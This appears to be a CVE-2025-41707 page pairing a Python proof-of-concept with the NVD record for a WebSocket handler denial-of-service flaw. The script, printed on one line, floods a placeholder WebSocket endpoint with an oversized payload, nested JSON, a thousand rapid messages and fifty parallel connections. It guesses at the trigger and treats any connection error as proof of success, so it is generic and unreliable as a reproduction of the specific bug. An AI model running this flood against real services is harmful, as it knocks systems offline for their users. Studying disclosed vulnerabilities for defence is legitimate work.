CVE-2025-41707

#!/usr/bin/env python3 # CVE-2025-41707 PoC - WebSocket Handler Denial of Service # This PoC demonstrates sending crafted WebSocket messages to trigger DoS import asyncio import websockets import json TARGET_URL = "ws://target-host:port/websocket" async def trigger_dos(): """ Send crafted WebSocket messages to trigger the DoS vulnerability. The vulnerability exists in the WebSocket handler's message processing logic. """ try: async with websockets.connect(TARGET_URL) as websocket: # Craft a malicious message designed to trigger the vulnerability # Method 1: Send oversized payload to exhaust memory malicious_payload = "A" * 1024 * 1024 # 1MB payload await websocket.send(malicious_payload) # Method 2: Send malformed JSON with nested structures nested_payload = {"data": {"nested": {"deep": {"value": "x" * 10000}}}} await websocket.send(json.dumps(nested_payload)) # Method 3: Rapid-fire messages to exhaust handler resources for i in range(1000): await websocket.send(f"{{\"cmd\": \"trigger_{i}\", \"data\": \"{'x' * 500}\"}}") print("[+] Malicious messages sent successfully") except Exception as e: print(f"[-] Connection error or target unresponsive: {e}") print("[+] This may indicate the DoS condition was triggered") async def mass_connection_dos(): """ Alternative: Open multiple connections and send crafted messages simultaneously """ tasks = [] for _ in range(50): tasks.append(trigger_dos()) await asyncio.gather(*tasks) if __name__ == "__main__": print(f"[*] Targeting WebSocket endpoint: {TARGET_URL}") print("[*] CVE-2025-41707 - WebSocket Handler DoS PoC") asyncio.run(trigger_dos())

{"cve": {"id": "CVE-2025-41707", "sourceIdentifier": "[email protected]", "published": "2025-10-14T08:15:36.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The websocket handler is vulnerable to a denial of service condition. An unauthenticated remote attacker can send a crafted websocket message to trigger the issue without affecting the core functionality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-072", "source": "[email protected]"}, {"url": "http://seclists.org/fulldisclosure/2025/Oct/12", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}